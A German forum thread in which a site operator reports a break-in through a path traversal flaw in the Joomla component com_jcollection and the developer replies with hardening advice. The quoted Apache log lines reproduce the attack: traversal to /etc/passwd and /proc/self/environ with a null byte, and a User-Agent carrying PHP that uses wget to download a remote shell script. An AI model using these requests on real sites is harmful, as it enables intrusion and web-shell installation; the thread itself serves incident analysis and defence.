JCollection Homepage

In den letzten beiden Tagen wurde unsere Seite gehacked.
Nach einigen Recherchen konnten wir folgende Informationen finden, wonach es wohl ein Sicherheitsleck in com_jcollection gibt.
www.exploit-db.com/list.php?page=0&d...&osvdb=&cve=
www.exploit-db.com/exploits/11088
Wir hatten die Version 0.9.18 installiert und jetzt erst einmal wieder deinstalliert, das sollte aber nicht die Lösung sein
Glücklicherweise war der Schaden nur gering, weil wir eigentlich noch mit dem alten Collection Manager arbeiten und ich die Daten noch nicht in den neuen importiert bekommen habe, trotz des Updates von 0.9.17 auf 0.9.18. Das verbesserte damals zwar die Situation - statt 100 Items wurden nun ca. 900 angelegt, aber auch hier stieg mir Jcollection mit einer Fehlermeldung aus.
Fehlermeldung liefere ich irgendwann nach, die habe ich jetzt nämlich nicht mehr im Kopf. Aber erst wenn die Sicherheitslücke nicht mehr besteht

Hallo,
danke fuer den Hinweis! Allerdings ist das in meinen Augen zwar eine aergerliche Luecke (die wahrscheinlich die allermeisten Komponenten betrifft), aber bei einem auch nur halbwegs vernuenftig konfigurierten Webserver nicht wirklich gefaehrlich.
Ich werde mir das auf alle Faelle mal anschauen.
Thorsten.

PS es wäre noch hilfreich, einen Blick in die Apache-Logs zu werfen, um herauszufinden, wie der Angriff zustande kam (speziell, ob die erwähnte Lücke wirklich ausgenutzt wurde).

Hallo Thorsten,

tcriess wrote:
PS es wäre noch hilfreich, einen Blick in die Apache-Logs zu werfen, um herauszufinden, wie der Angriff zustande kam (speziell, ob die erwähnte Lücke wirklich ausgenutzt wurde).

Die Lücke wurde bei uns definitiv gezielt ausgenutzt. Nicht einmal, sondern mehrmals von verschiedenen Angreifern. Ein Blick in das Logfile ist mehr als eindeutig:

"GET /index.php?option=com_jcollection&view=category&catid=2&all=0&Itemid=139 HTTP/1.1" 301 20 "www.google.com.sa/search?hl=ar&safe=...rt=60&sa=N" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)"

Wie man sieht, hier wurde gezielt mit Hilfe von Google nach JCollection gesucht.

Dann folgt der nächste Schritt:

"GET /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 200 4715 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)"

Und dann die Installation einer Shell über /proc/self/environ:
"GET /index.php?option=com_jcollection&controller=../../../../../../../proc/self/environ%00 HTTP/1.0" 200 1154 "-" "<?php system('wget www.freewebtown.com/altbta/rxh.txt -O rxh.php'); ?>"

Der Schadcode (rxh.txt, als rxh.php abgespeichert) wird übrigens über den "Useragent" eingeschleust. Wie man sieht, benutzt der Angreifer Firefox und vermutlich das Addon TAMPER, mit dem das kinderleicht geht. Das Vorgehen des Angreifers entspricht 100% dem, was man im Netz zum grundsätzlichen Ausnutzen dieser Sicherheitslücken lesen kann. Da gibt es leider Schritt für Schritt Anleitungen, die es jedem Script-Kiddie ermöglichen. Den Rest erledigen Exploit-Meldungen und Google.

Wenn Du einen Tipp hast, wie unser Serverbetreiber das Ausnutzen einer solchen Lücke generell unterbinden kann, dann wäre ich sehr dankbar dafür. Ich habe von Linux und Serverkonfiguration leider keine Ahnung. Das ist auch der Grund, warum wir keinen eigenen Root betreiben, sondern einen managed VServer haben.

Hallo,
ja, in der Tat, das ist ärgerlich! Danke für die Details! Als Gegenmaßnamen bieten sich zunächst mal ein vernünftiges User-Management an (also dass der User, unter dem der Webserver läuft, keinen Zugriff auf wichtige Dateien hat, aber das ist eigentlich selbstverständlich), und dann noch die PHP/Apache Konfiguration, bei der man einstellen kann, von wo überhaupt PHP-Dateien eingelesen werden können (Details weiß ich da auch nicht, aber so etwas sollte möglich sein). Nichtsdestotrotz sollte das PHP Programm selbst solche Sachen natürlich verhindern, aber leider passiert es eben doch einmal, dass man etwas übersieht, so wie hier.
Auf jeden Fall sollte diese Lücke jetzt geschlossen sein - was natürlich leider keine Garantie ist, dass nicht doch noch irgendwo ein Schlupfloch existiert.
Thorsten.